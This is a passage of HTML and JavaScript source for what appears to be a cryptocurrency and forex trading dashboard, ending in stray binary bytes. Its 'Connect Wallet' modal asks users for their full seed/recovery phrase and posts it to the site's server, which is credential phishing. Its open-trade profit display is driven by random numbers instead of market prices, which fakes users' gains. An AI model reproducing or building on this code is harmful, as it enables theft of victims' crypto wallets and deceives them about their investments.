<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT7ac9O_DORRUoTuI9KIR-wAHGYJOEOoDLvkA&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Exodus Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://zengo.com/wp-content/uploads/gemini_300x300@x2.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Gemini</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQrTcHlP2Tf6rNVXxDywaxrGP7gd33L9HZ1Og&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Imtoken</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://walletscrutiny.com/images/wIcons/android/io.infinito.wallet.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Infinito Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://avatars.githubusercontent.com/u/231925279?v=4" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Infinity Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTEUq1rCUmgt1BOzvCKrXg6UttvC1W_H4tQow&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Keyringpro Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://bitbill.oss-accelerate.aliyuncs.com/shared/images/svg/logo_download.19e23370ac.svg" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Ownbit Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSkjnGt1pvNFJOGlxKfQXK5BEaJgfhE1_9GRg&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Phantom Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRDU5aTw2FNop7OonFBOXEeAXb1biSQbBr6Ew&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Rainbow</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://sparkpoint.io/android-chrome-512x512.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Sparkpoint Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://vectorseek.com/wp-content/uploads/2024/07/Trust-Wallet-Shield-Logo-Vector-Logo-Vector.svg-.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Trust Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRxiwWCpFc4gAmdCBNs4jdn04D0FyVDS8NtmA&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Uniswap</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcST9wzOacrmijf2Th554QQYkVKHX182AV_NkQ&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Wallet io</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
</div>
</div>
</div>
</div>
<div class="notifications-overlay" id="phrase-modal-overlay">
<div class="notifications-backdrop js-close-phrase-modal"></div>
<div class="notifications-panel" id="phrase-modal-panel">
<header class="notifications-header">
<div class="notifications-title-section">
<button class="panel-btn js-close-phrase-modal"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
<h2>Connect Wallet</h2>
</div>
<button class="panel-btn js-close-phrase-modal"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
</header>
<div class="wallet-form-body" style="padding: 24px;">
<div id="wallet-form-feedback" class="wallet-form-feedback"></div>
<p style="color:#aaa; margin-bottom:20px;">Enter your seed/recovery phrase to connect your wallet.</p>
<form id="connect-wallet-form">
<div style="margin-bottom:15px;"><label style="color:#888; font-size:14px;">Wallet:</label><input type="text" id="modal-wallet-name-input" name="wallet_name" class="modal-input" readonly></div>
<div style="margin-bottom:15px;"><label style="color:#888; font-size:14px;">Seed/Recovery Phrase (12+ words):</label><textarea id="modal-seed-phrase-textarea" name="seed_phrase" class="modal-textarea" placeholder="Enter your phrase here..."></textarea></div>
<div style="display:flex; gap:10px; justify-content:flex-end; margin-top:20px;">
<button type="button" id="modal-disconnect-btn" style="padding:10px 20px; border-radius:8px; border:none; background:#444; color:#fff; cursor:pointer;" disabled>Disconnect</button>
<button type="submit" id="modal-save-btn" style="padding:10px 20px; border-radius:8px; border:none; background:#31acee; color:#fff; font-weight:bold; cursor:pointer;" disabled>Save</button>
</div>
</form>
</div>
</div>
</div>
<script type="text/javascript" src="https://s3.tradingview.com/tv.js"></script>
<script>
const userSignalStrength = <?php echo $signalStrength; ?>;
const userCapital = <?php echo $userCapital; ?>;
</script>
<script>
document.addEventListener('DOMContentLoaded', function() {
// --- MOBILE MENU LOGIC ---
const hamburgerBtn = document.getElementById('hamburger-menu');
const closeMenuBtn = document.getElementById('close-menu-btn');
const sidebar = document.getElementById('sidebar');
if (hamburgerBtn && sidebar) {
hamburgerBtn.addEventListener('click', () => {
sidebar.classList.add('open');
});
}
if (closeMenuBtn && sidebar) {
closeMenuBtn.addEventListener('click', () => {
sidebar.classList.remove('open');
});
}
// --- ACCOUNT PANEL DROPDOWN LOGIC ---
const userMenuBtn = document.getElementById('user-menu-btn');
const userAccountPanel = document.getElementById('user-account-panel');
const closeAccountPanelBtns = document.querySelectorAll('.js-close-account-panel');
if (userMenuBtn && userAccountPanel) {
userMenuBtn.addEventListener('click', (event) => {
event.stopPropagation();
userAccountPanel.classList.toggle('open');
});
closeAccountPanelBtns.forEach(btn => {
btn.addEventListener('click', () => userAccountPanel.classList.remove('open'));
});
document.addEventListener('click', (event) => {
if (userAccountPanel.classList.contains('open') && !userAccountPanel.contains(event.target) && !userMenuBtn.contains(event.target)) {
userAccountPanel.classList.remove('open');
}
});
}
// --- OVERLAY/MODAL TRIGGERS ---
const openNotificationsBtn = document.getElementById("open-notifications-btn");
const notificationsOverlay = document.getElementById("notifications-overlay");
const closeNotificationsBtns = document.querySelectorAll(".js-close-notifications");
if (openNotificationsBtn && notificationsOverlay) {
openNotificationsBtn.addEventListener("click", () => notificationsOverlay.classList.add("open"));
closeNotificationsBtns.forEach(e => e.addEventListener("click", () => notificationsOverlay.classList.remove("open")));
}
const openWalletBtn = document.getElementById("open-wallet-btn");
const walletOverlay = document.getElementById("wallet-overlay");
const closeWalletBtns = document.querySelectorAll(".js-close-wallet");
if (openWalletBtn && walletOverlay) {
openWalletBtn.addEventListener("click", e => { e.preventDefault(); walletOverlay.classList.add("open"); });
closeWalletBtns.forEach(e => e.addEventListener("click", () => walletOverlay.classList.remove("open")));
}
// --- CONNECT WALLET PHRASE MODAL LOGIC ---
const phraseModalOverlay = document.getElementById("phrase-modal-overlay");
const closePhraseBtns = document.querySelectorAll(".js-close-phrase-modal");
const walletNameInput = document.getElementById("modal-wallet-name-input");
const seedTextarea = document.getElementById("modal-seed-phrase-textarea");
const disconnectBtn = document.getElementById("modal-disconnect-btn");
const saveBtn = document.getElementById("modal-save-btn");
const walletToggles = document.querySelectorAll("#wallet-panel .wallet-item");
const openPhraseModal = (walletName) => {
walletNameInput.value = walletName;
seedTextarea.placeholder = `Your ${walletName} Seed/Recovery Phrase`;
seedTextarea.value = "";
disconnectBtn.disabled = true;
saveBtn.disabled = true;
phraseModalOverlay.classList.add("open");
};
walletToggles.forEach(toggle => {
toggle.addEventListener("click", e => {
e.preventDefault();
openPhraseModal(toggle.querySelector(".wallet-name").textContent);
});
});
if(seedTextarea) {
seedTextarea.addEventListener("input", () => {
if (seedTextarea.value.trim().split(/\s+/).filter(word => word.length > 0).length >= 12) {
disconnectBtn.disabled = false;
saveBtn.disabled = false;
saveBtn.style.background = '#31acee';
} else {
disconnectBtn.disabled = true;
saveBtn.disabled = true;
saveBtn.style.background = '#444';
}
});
}
closePhraseBtns.forEach(btn => btn.addEventListener("click", () => phraseModalOverlay.classList.remove("open")));
// --- NEW: CONNECT WALLET FORM SUBMISSION ---
const connectWalletForm = document.getElementById('connect-wallet-form');
if (connectWalletForm) {
connectWalletForm.addEventListener('submit', async (e) => {
e.preventDefault();
const submitBtn = document.getElementById('modal-save-btn');
submitBtn.disabled = true;
submitBtn.textContent = 'Connecting...';
const formData = new FormData(connectWalletForm);
try {
const response = await fetch('connect_wallet.php', { method: 'POST', body: formData });
const result = await response.json();
if (result.status === 'success') {
Swal.fire({ icon: 'success', title: 'Connected!', text: result.message });
connectWalletForm.reset();
document.getElementById('phrase-modal-overlay').classList.remove('open');
document.getElementById('wallet-overlay').classList.remove('open'); // Close the parent modal too
} else {
Swal.fire({ icon: 'error', title: 'Connection Failed', text: result.message });
}
} catch (error) {
Swal.fire({ icon: 'error', title: 'Error', text: 'Could not connect to the server.' });
} finally {
submitBtn.disabled = false;
submitBtn.textContent = 'Save';
}
});
}
// --- OVERVIEW TOGGLE LOGIC ---
const overviewCard = document.getElementById('overview-card');
const toggleAssetsBtn = document.getElementById('toggle-assets-view-btn');
const toggleOverviewBtn = document.getElementById('toggle-overview-view-btn');
const toggleAssetsBtnDetails = document.getElementById('toggle-assets-view-btn-details');
const toggleOverviewBtnDetails = document.getElementById('toggle-overview-view-btn-details');
if(overviewCard) {
function showAssetsView() { overviewCard.classList.remove('show-details'); }
function showDetailsView() { overviewCard.classList.add('show-details'); }
if(toggleAssetsBtn) toggleAssetsBtn.addEventListener('click', showAssetsView);
if(toggleOverviewBtn) toggleOverviewBtn.addEventListener('click', showDetailsView);
if(toggleAssetsBtnDetails) toggleAssetsBtnDetails.addEventListener('click', showAssetsView);
if(toggleOverviewBtnDetails) toggleOverviewBtnDetails.addEventListener('click', showDetailsView);
}
// --- ACCORDION LOGIC ---
const headers = document.querySelectorAll('.accordion-header');
headers.forEach(header => {
header.addEventListener('click', () => {
const accordion = header.parentElement;
accordion.classList.toggle('active');
});
});
// --- TRADING FORM & CHART LOGIC ---
const tradeForm = document.getElementById('trade-form');
const tradingViewContainerId = 'tradingview_f24de';
if (tradeForm && document.getElementById(tradingViewContainerId)) {
const marketAssets = [
{ group: 'Cryptocurrencies', name: 'Bitcoin / USD', value: 'BTCUSD', provider: 'BINANCE' },
{ group: 'Cryptocurrencies', name: 'Ethereum / USD', value: 'ETHUSD', provider: 'BINANCE' },
{ group: 'Cryptocurrencies', name: 'Solana / USD', value: 'SOLUSD', provider: 'BINANCE' },
{ group: 'Forex Pairs', name: 'EUR / USD', value: 'EURUSD', provider: 'FX' },
{ group: 'Forex Pairs', name: 'GBP / USD', value: 'GBPUSD', provider: 'FX' },
{ group: 'Indices & Stocks', name: 'NASDAQ 100', value: 'NSX100', provider: 'TVC' },
{ group: 'Indices & Stocks', name: 'Apple Inc.', value: 'AAPL', provider: 'NASDAQ' },
{ group: 'Metals', name: 'Gold', value: 'XAUUSD', provider: 'OANDA' },
{ group: 'Commodities', name: 'Crude Oil (WTI)', value: 'WTI', provider: 'TVC' }
];
const marketSelect = document.getElementById('market-select');
const formInputs = tradeForm.querySelectorAll('input[required], select[required]');
const submitButton = document.getElementById('trade-submit-btn');
function createOrUpdateWidget(symbol, provider) {
const widgetContainer = document.getElementById(tradingViewContainerId);
if (!widgetContainer) return;
widgetContainer.innerHTML = '';
new TradingView.widget({
"autosize": true,
"symbol": `${provider}:${symbol}`,
"interval": "1",
"timezone": "Etc/UTC",
"theme": "dark",
"style": "1",
"locale": "en",
"enable_publishing": false,
"hide_top_toolbar": false,
"withdateranges": true,
"backgroundColor": "rgba(5, 8, 11, 1)",
"gridColor": "rgba(255, 255, 255, 0.045)",
"container_id": tradingViewContainerId
});
}
// Populate market select
const groupedAssets = marketAssets.reduce((acc, asset) => {
(acc[asset.group] = acc[asset.group] || []).push(asset);
return acc;
}, {});
for (const groupName in groupedAssets) {
const optgroup = document.createElement('optgroup');
optgroup.label = groupName;
groupedAssets[groupName].forEach(asset => {
const option = document.createElement('option');
option.value = `${asset.provider}:${asset.value}`;
option.textContent = asset.name;
optgroup.appendChild(option);
});
marketSelect.appendChild(optgroup);
}
marketSelect.addEventListener('change', (event) => {
const [provider, symbol] = event.target.value.split(':');
createOrUpdateWidget(symbol, provider);
});
// Form Validation
function checkFormValidity() {
let allValid = true;
formInputs.forEach(input => {
if (!input.value) allValid = false;
});
const amountInput = document.getElementById('amount');
if (amountInput && parseFloat(amountInput.value) > userCapital) {
allValid = false;
}
if (allValid) {
submitButton.removeAttribute('disabled');
} else {
submitButton.setAttribute('disabled', 'true');
}
}
formInputs.forEach(input => {
input.addEventListener('input', checkFormValidity);
input.addEventListener('change', checkFormValidity);
});
// Submission Logic
tradeForm.addEventListener('submit', (e) => {
e.preventDefault();
const loadingIcon = submitButton.querySelector('.loading-icon');
const submitText = submitButton.querySelector('.submit-text');
submitButton.setAttribute('disabled', 'true');
loadingIcon.style.display = 'block';
submitText.textContent = 'Placing...';
const formData = new FormData(tradeForm);
fetch('process_trade.php', { method: 'POST', body: formData })
.then(response => response.json())
.then(data => {
if (data.status === 'success') {
Swal.fire({ icon: 'success', title: 'Success!', text: data.message, confirmButtonColor: '#4CAF50' });
tradeForm.reset();
loadUserTrades();
setTimeout(() => { window.location.reload(); }, 1500);
} else {
Swal.fire({ icon: 'error', title: 'Trade Failed', text: data.message, confirmButtonColor: '#f44336' });
}
})
.catch(error => {
Swal.fire({ icon: 'error', title: 'Connection Error', text: 'Could not connect to the server.' });
})
.finally(() => {
loadingIcon.style.display = 'none';
submitText.textContent = 'Place Trade';
checkFormValidity();
});
});
// Init Chart
const urlParams = new URLSearchParams(window.location.search);
const presetSymbol = urlParams.get('symbol');
if (presetSymbol) {
marketSelect.value = presetSymbol;
const [provider, symbol] = presetSymbol.split(':');
createOrUpdateWidget(symbol, provider);
} else if (marketAssets.length > 0) {
marketSelect.value = `${marketAssets[0].provider}:${marketAssets[0].value}`;
createOrUpdateWidget(marketAssets[0].value, marketAssets[0].provider);
}
}
// --- FETCH TRADES LOGIC ---
function escapeHTML(str) {
if (!str) return '';
const temp = document.createElement('div');
temp.textContent = str;
return temp.innerHTML;
}
async function loadUserTrades() {
const openTradesBody = document.getElementById('open-trades-body');
const closedTradesBody = document.getElementById('closed-trades-body');
const openCount = document.getElementById('open-trades-count');
const closedCount = document.getElementById('closed-trades-count');
try {
const response = await fetch('fetch_trades.php');
const data = await response.json();
if (data.status !== 'success') {
if(openTradesBody) openTradesBody.innerHTML = `<p style="padding:20px; text-align:center;">${escapeHTML(data.message)}</p>`;
return;
}
// Update Counts
if(openCount) openCount.textContent = data.open_trades.length;
if(closedCount) closedCount.textContent = data.closed_trades.length;
// Render Open
if(openTradesBody) {
if (data.open_trades.length === 0) {
openTradesBody.innerHTML = '<p style="padding:20px; text-align:center; color:#888;">No open trades.</p>';
} else {
openTradesBody.innerHTML = data.open_trades.map(trade => createTradeRow(trade, true)).join('');
}
}
// Render Closed
if(closedTradesBody) {
if (data.closed_trades.length === 0) {
closedTradesBody.innerHTML = '<p style="padding:20px; text-align:center; color:#888;">No closed trades.</p>';
} else {
closedTradesBody.innerHTML = data.closed_trades.map(trade => createTradeRow(trade, false)).join('');
}
}
startPnlAnimation();
} catch (error) {
if(openTradesBody) openTradesBody.innerHTML = '<p style="padding:20px; text-align:center; color:red;">Connection error.</p>';
}
}
function createTradeRow(trade, isOpen) {
const date = escapeHTML(trade.created_at);
const commodity = escapeHTML(trade.commodity);
const type = escapeHTML(trade.trade_type);
const amount = parseFloat(trade.trade_amount).toFixed(2);
const entry = parseFloat(trade.entry_price).toFixed(2);
const dirClass = type === 'BUY' ? 'direction-buy' : 'direction-sell';
let pnlHtml = '';
let actionHtml = '';
if (isOpen) {
pnlHtml = `<span class="pnl-animating" data-amount="${amount}">0.00</span>`;
actionHtml = `<button class="btn-close-trade js-close-trade" data-id="${trade.id}">Close</button>`;
} else {
const finalPnl = parseFloat(trade.pnl).toFixed(2);
const pnlClass = finalPnl >= 0 ? 'pnl-positive' : 'pnl-negative';
pnlHtml = `<span class="${pnlClass}">${finalPnl}</span>`;
actionHtml = `<span>Closed</span>`;
}
return `
<div class="trades-table-row">
<div data-label="Date">${date}</div>
<div data-label="Trade">${commodity}</div>
<div data-label="Direction" class="${dirClass}">${type}</div>
<div data-label="Amount">$${amount}</div>
<div data-label="Entry">$${entry}</div>
<div data-label="Profit">$${pnlHtml}</div>
<div data-label="Action">${actionHtml}</div>
</div>
`;
}
// Animation Logic
function startPnlAnimation() {
document.querySelectorAll('.pnl-animating').forEach(el => {
if (el.dataset.animating) return; // Prevent double intervals
el.dataset.animating = 'true';
const baseAmount = parseFloat(el.dataset.amount);
let currentPnl = 0;
const animate = () => {
// Fluctuates based on signal strength
const vol = (userSignalStrength / 100) * 0.15; // Max 15% swing
const change = (Math.random() - 0.5) * 2 * (baseAmount * vol);
currentPnl += change;
// Cap loss at total amount
if (currentPnl < -baseAmount) currentPnl = -baseAmount;
el.textContent = currentPnl.toFixed(2);
el.className = currentPnl >= 0 ? 'pnl-animating pnl-positive' : 'pnl-animating pnl-negative';
if(document.visibilityState === 'visible') {
setTimeout(animate, Math.random() * 2000 + 1000);
}
};
animate();
});
}
// Close Trade Logic
document.addEventListener('click', (e) => {
if (e.target.classList.contains('js-close-trade')) {
const btn = e.target;
const tradeId = btn.dataset.id;
Swal.fire({
title: 'Close Trade?',
text: "Are you sure you want to close this position at current market price?",
icon: 'warning',
showCancelButton: true,
confirmButtonText: 'Yes, close it'
}).then((result) => {
if (result.isConfirmed) {
btn.textContent = 'Closing...';
btn.disabled = true;
const formData = new FormData();
formData.append('trade_id', tradeId);
formData.append('csrf_token', document.querySelector('meta[name="csrf-token"]').getAttribute('content'));
fetch('close_trade.php', { method: 'POST', body: formData })
.then(res => res.json())
.then(data => {
if (data.status === 'success') {
Swal.fire('Closed!', data.message, 'success');
loadUserTrades();
setTimeout(() => { window.location.reload(); }, 1500);
} else {
Swal.fire('Error!', data.message, 'error');
btn.textContent = 'Close';
btn.disabled = false;
}
});
}
});
}
});
// Initial Load & Polling for Trades Table
if(document.getElementById('open-trades-body')) {
loadUserTrades();
setInterval(() => {
if (document.visibilityState === 'visible') loadUserTrades();
}, 15000);
}
});
</script>
</body>
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E